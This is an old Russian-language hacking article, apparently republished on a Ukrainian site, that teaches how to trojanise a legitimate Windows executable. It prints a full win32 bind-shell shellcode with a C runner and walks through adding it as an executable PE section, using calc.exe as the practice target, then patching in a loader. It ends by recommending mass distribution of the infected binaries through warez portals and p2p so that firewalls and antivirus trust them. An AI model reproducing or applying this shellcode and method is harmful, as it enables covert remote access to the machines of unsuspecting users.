This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

Идеальный способ распространения злого кода


Идеальный способ распространения "злого" кода
Автор: ProTeuS [[email protected]]

Что нужно:
1. LordPE by Yoda
2. W32Dasm
3. PEID
4. TOPO
5. Ну и, естессно, некривые рики ;)

Вступление

4то бы там не говорили, но Мелкософты без дела не сидят...
Канули в лету самые "вкусные" дыры, которыми еще пару месяЦев назад можно было рутать не одну тыся4у незащищенных машин. Теперь и инжектированием своего кода в адрессное пространство "доверительного" процесса никого не удивишь. Даже тупые фаеры нау4иись с этим бороться. Теперь придумывают способы один изощренней другого, но и такие долго не остаются без "вакцины". Я же предлагаю в своей статье описать один нехитрый способ рассылки "злого"(под "злым" я понимаю не обязательно трояны, руткиты и т.д., это может быть и банальный скрытый с4ет4ик посещений твоего ресурса, ска4ки софта, какая-то статистика, вообщем, все, 4то иногда бывает полезно) кода методом его предварительного внедрения в бинарник "нужного" жертве продукта.

Ближе к делу

Сна4ала выбераем "подсадную утку" для жертвы - файл, который, предположительно, должа ска4ать и запустить у себя жертва. Тут я тебя, мой любознательный 4итатель, полная свобода выбора! Коне4но, ДЛЛки мелкософта с сертификатом - не лу4ший выбор, а вот какой-то абстракный шароварный продукт общего пользования подходит как нельзя кстати. Мы же, не будь злодеями, возьмем обы4ный calc.exe из %Systemroot% (или 4то-либо другое) и будем тренироваться на нем...

Подготовка "злого" кода

Для того, 4тобы 4то-то заражать, добавлять какой-то скрытый код, нужно перед этим его подготовить. Вот этим мы сей4ас и займемся. Я решил остановиться на банальном биндшелле - хотя можно сделать и загрузку какого-либо файла из сети, изменение\удаление правил фаера - и подготовил его шеллкод:

//Биндшелл win32 на 4444 порт
#include
char shellcode[] = "\x31"
"\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92"
"\x35\x88\x95\x83\xeb\xfc\xe2\xf4\x6e\x5f\x63\xda\x7a\xcc\x77\x6a"
"\x6d\x55\x03\xf9\xb6\x11\x03\xd0\xae\xbe\xf4\x90\xea\x34\x67\x1e"
"\xdd\x2d\x03\xca\xb2\x34\x63\x76\xa2\x7c\x03\xa1\x19\x34\x66\xa4"
"\x52\xac\x24\x11\x52\x41\x8f\x54\x58\x38\x89\x57\x79\xc1\xb3\xc1"
"\xb6\x1d\xfd\x76\x19\x6a\xac\x94\x79\x53\x03\x99\xd9\xbe\xd7\x89"
"\x93\xde\x8b\xb9\x19\xbc\xe4\xb1\x8e\x54\x4b\xa4\x52\x51\x03\xd5"
"\xa2\xbe\xc8\x99\x19\x45\x94\x38\x19\x75\x80\xcb\xfa\xbb\xc6\x9b"
"\x7e\x65\x77\x43\xa3\xee\xee\xc6\xf4\x5d\xbb\xa7\xfa\x42\xfb\xa7"
"\xcd\x61\x77\x45\xfa\xfe\x65\x69\xa9\x65\x77\x43\xcd\xbc\x6d\xf3"
"\x13\xd8\x80\x97\xc7\x5f\x8a\x6a\x42\x5d\x51\x9c\x67\x98\xdf\x6a"
"\x44\x66\xdb\xc6\xc1\x66\xcb\xc6\xd1\x66\x77\x45\xf4\x5d\x99\xc9"
"\xf4\x66\x01\x74\x07\x5d\x2c\x8f\xe2\xf2\xdf\x6a\x44\x5f\x98\xc4"
"\xc7\xca\x58\xfd\x36\x98\xa6\x7c\xc5\xca\x5e\xc6\xc7\xca\x58\xfd"
"\x77\x7c\x0e\xdc\xc5\xca\x5e\xc5\xc6\x61\xdd\x6a\x42\xa6\xe0\x72"
"\xeb\xf3\xf1\xc2\x6d\xe3\xdd\x6a\x42\x53\xe2\xf1\xf4\x5d\xeb\xf8"
"\x1b\xd0\xe2\xc5\xcb\x1c\x44\x1c\x75\x5f\xcc\x1c\x70\x04\x48\x66"
"\x38\xcb\xca\xb8\x6c\x77\xa4\x06\x1f\x4f\xb0\x3e\x39\x9e\xe0\xe7"
"\x6c\x86\x9e\x6a\xe7\x71\x77\x43\xc9\x62\xda\xc4\xc3\x64\xe2\x94"
"\xc3\x64\xdd\xc4\x6d\xe5\xe0\x38\x4b\x30\x46\xc6\x6d\xe3\xe2\x6a"
"\x6d\x02\x77\x45\x19\x62\x74\x16\x56\x51\x77\x43\xc0\xca\x58\xfd"
"\x62\xbf\x8c\xca\xc1\xca\x5e\x6a\x42\x35\x88\x95";

int
main(){
void (*funct) ();
(long) funct = &shellcode;
funct();}

Теперь компилируем программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняем содержащую его секцию данных(portbind).


Конвертируем шеллкод в секцию данных

Практи4еская 4асть

Дальше загружаем в LordPE файл "жертвы" и подгружаем в него дополнительную секцию данных portbind (не забыв поменять ее флаг на Е0000020, ина4е код не сможет исполняться!) и запоминаем ее смещение (в моем файле оно равно D7000)

Подгружаем в файл содержащую шеллкод секцию

Теперь нам осталось только найти в программе-жертве пустое(или никогда не исполняющееся при каких-либо поверках)место, и вставить вместо него загруз4ик нашего шеллкода. Я сделал это так:

Так я реализовал загруз4ик шеллкода

Думаю, здесь все понятно, исполняется код по адресу D7000. А там, как мы помним, содержится наш шеллкод.

уда4ный запуск "злого" кода(использовался другой шеллкод)

После его запуска программа вернется к исполнению "своего" тела...

Способы распространения

Исходя из самого принципа "заражения злым кодом", автомати4ески отпадают проблемы борьбы с антивирусами, брандмауерами. И не мудрено, поскольку пользователь будет думать, 4то все действия выполняет не наш шеллкод, а доверительное приложение, его испольняющее и будет разрешать ему любую активность. Согласитесь, ведь докопаться до нашего "злого" кода в бинарнике сможет далеко не каждый пользователь в одино4ку. А если использовать всякого рода паковщики, то наш код окажется навеки тайной!
Единственной проблемой метода есть ограни4енность заражения "злым" кодом. Мне видится наивернейшим путь его массового распространения в варез-порталах, p2p, или просто, наконец, в городских сетях.

gl hf 2 all
04.06.2005

Дата створення/оновлення: 25.05.2018

stop war in Ukraine

ukrTrident

stand with Ukraine